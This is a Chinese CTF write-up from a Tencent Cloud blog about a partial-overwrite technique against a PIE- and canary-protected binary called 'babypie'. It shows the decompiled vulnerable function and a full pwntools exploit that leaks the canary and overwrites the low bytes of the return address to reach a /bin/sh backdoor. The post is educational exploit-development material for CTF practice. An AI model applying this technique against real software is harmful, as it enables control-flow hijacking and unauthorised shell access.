首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >[pwn] partial overwrite:应对地址随机化的小技巧

[pwn] partial overwrite:应对地址随机化的小技巧

作者头像
赤道企鹅
发布2022-08-01 13:52:14
发布2022-08-01 13:52:14
1.3K00
代码可运行
举报
运行总次数:0
代码可运行

遇到栈相关的题如果打开了pie和canary是挺麻烦的,但是如果合理的利用栈泄露和部分字节覆写还是可以达到一定程度的程序流控制 示例题目: 安恒杯 2018 .07月赛 babypie Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 开了pie和canary

0x00 IDA中分析

栈溢出发生的位置

代码语言:javascript
代码运行次数:0
运行
复制
__int64 vul()
{
  __int64 buf; // [rsp+0h] [rbp-30h]
  __int64 v2; // [rsp+8h] [rbp-28h]
  __int64 v3; // [rsp+10h] [rbp-20h]
  __int64 v4; // [rsp+18h] [rbp-18h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);             // 无缓冲
  buf = 0LL;
  v2 = 0LL;
  v3 = 0LL;
  v4 = 0LL;
  puts("Input your Name:");
  read(0, &buf, 0x30uLL);
  printf("Hello %s:\n", &buf);                  // 明显的溢出
                                                // 
  read(0, &buf, 0x60uLL);
  return 0LL;
}

溢出发生了两次,每次溢出可控制的字节不同。同时read不设置截断符\x00,而canary为了防止被泄露,最低位字节固定为0x00,那么可以额外读取一个字节覆盖canary的最低字节,达到泄露目的。

后门函数

代码语言:javascript
代码运行次数:0
运行
复制
int backdoor()
{
  return system("/bin/sh");
}

这个函数的偏移是 rebase(A3E),而gdb里面动态调试发现vul函数执行完后的返回地址的偏移是 rebase(A6A),由这里应该得到启发:实际上pie只是将地址高位进行了随机化,如果想办法修改低位,是有可能在一定限度内控制执行流的。

0x01 exp

思路

大致利用思路已经很明了了:

  • 第一次溢出用sendline把canary最后一个字节覆盖为换行符\x0a,然后从输出中读到canary+0xa,减去0xa得到canary。
  • 第二次溢出运用上一步的canary覆盖canary所在的栈上位置并继续向后溢出,覆盖return地址低两位字节。
  • 由于return地址低两位字节中有4 bits是无法控制的,也就是是随机的,好在范围不大,随便填一个靠点运气就能getshell~

完整exp

代码语言:javascript
代码运行次数:0
运行
复制
#!/usr/bin/python3

from pwn import *

p=process("./babypie")
elf=ELF("./babypie")
libc=ELF("./libc.so.6")

context.log_level="debug"

#Step1 leak canary & ret_addr
p.recvuntil(b"Name:")
payload1=b"a"*36+b"bbbb"
p.sendline(payload1)
p.recvuntil(b"bbbb")
canary=u64(p.recv(8))-0x0a
print("leak canary:",hex(canary))

#Step2 overwrite
p.recvuntil(b":\n")
payload2=b"a"*0x28+p64(canary)+b"a"*8+b"\x3E\x8A" # luckly~
p.send(payload2)

p.interactive()

0x02 总结

partial overwrite不仅仅可以用在栈上,同样可以用在其它随机化的场景。比如堆的随机化,由于堆起始地址低字节一定是0x00,也可以通过覆盖低位来控制堆上的偏移。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-04-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 IDA中分析
    • 栈溢出发生的位置
    • 后门函数
  • 0x01 exp
    • 思路
    • 完整exp
  • 0x02 总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档